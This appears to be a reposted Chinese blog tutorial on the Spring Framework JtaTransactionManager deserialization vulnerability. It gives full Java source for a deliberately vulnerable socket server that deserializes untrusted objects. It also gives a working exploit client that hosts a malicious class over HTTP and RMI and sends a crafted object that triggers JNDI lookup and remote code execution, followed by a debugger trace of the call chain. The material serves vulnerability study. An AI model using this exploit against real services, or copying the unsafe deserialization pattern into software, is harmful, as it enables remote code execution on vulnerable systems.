Spring framework 反序列化的漏洞
阿新 • • 發佈:2018-12-28
理解這個漏洞需要先看freebuff上的jdni的小例子。這裡就不看了。
Server端程式碼:
imort java.io.*; import java.net.*; public class ExploitableServer { public static void main(String[] args) { try { //本地監聽1234埠 ServerSocket serverSocket = new ServerSocket(1234); System.out.println("Server started on port "+serverSocket.getLocalPort()); while(true) { Socket socket=serverSocket.accept(); System.out.println("Connection received from "+socket.getInetAddress()); ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); try { //執行接收到類的readObject方法 Object object = objectInputStream.readObject(); System.out.println("Read object "+object); } catch(Exception e) { System.out.println("Exception caught while reading object"); e.printStackTrace(); } } } catch(Exception e) { e.printStackTrace(); } } }
client端:
import java.io.*; import java.net.*; import java.rmi.registry.*; import com.sun.net.httpserver.*; import com.sun.jndi.rmi.registry.*; import javax.naming.*; public class ExploitClient { public static void main(String[] args) { try { String serverAddress = "127.0.0.1"; int port = Integer.parseInt("1234"); String localAddress= "127.0.0.1"; System.out.println("Starting HTTP server"); //開啟80埠服務 HttpServer httpServer = HttpServer.create(new InetSocketAddress(81), 0); httpServer.createContext("/",new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); System.out.println("Creating RMI Registry"); //繫結RMI服務到 1099埠 Object 提供惡意類的RMI服務 Registry registry = LocateRegistry.createRegistry(1099); /* java為了將object物件儲存在Naming或者Directory服務下, 提供了Naming Reference功能,物件可以通過繫結Reference儲存在Naming和Directory服務下, 比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把物件寫在構造方法中, 當被呼叫的時候,物件的方法就會被觸發。理解了jndi和jndi reference後, 就可以理解jndi注入產生的原因了。 */ //繫結本地的惡意類到1099埠 Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":81"+"/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("Object", referenceWrapper); System.out.println("Connecting to server "+serverAddress+":"+port); //連線伺服器1234埠 Socket socket=new Socket(serverAddress,port); System.out.println("Connected to server"); String jndiAddress = "rmi://"+localAddress+":1099/Object"; //JtaTransactionManager 反序列化時的readObject方法存在問題 //使得setUserTransactionName可控,遠端載入惡意類 //lookup方法會例項化惡意類,導致執行惡意類無參的構造方法 org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress); System.out.println("Sending object to server..."); ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(object); objectOutputStream.flush(); while(true) { Thread.sleep(1000); } } catch(Exception e) { e.printStackTrace(); } } }
server與client互動流程:
漏洞觸發點:
下斷點除錯,前面client都是繫結操作,直到執行到43行,將惡意的rmi地址寫入:
46行將惡意類傳送到Server端,server端執行JtaTransactionManager類的readObject:
跟到616行:
f7跟到173行:
繼續f7跟到247行,呼叫了looup方法:
繼續跟進94行,name 傳進的值是之前繫結的惡意類的地址,lookup方法會呼叫惡意類的構造方法。
跟到惡意類構造方法,觸發RCE.
參考連結:
https://www.freebuf.com/vuls/115849.html
https://paper.seebug.org/312/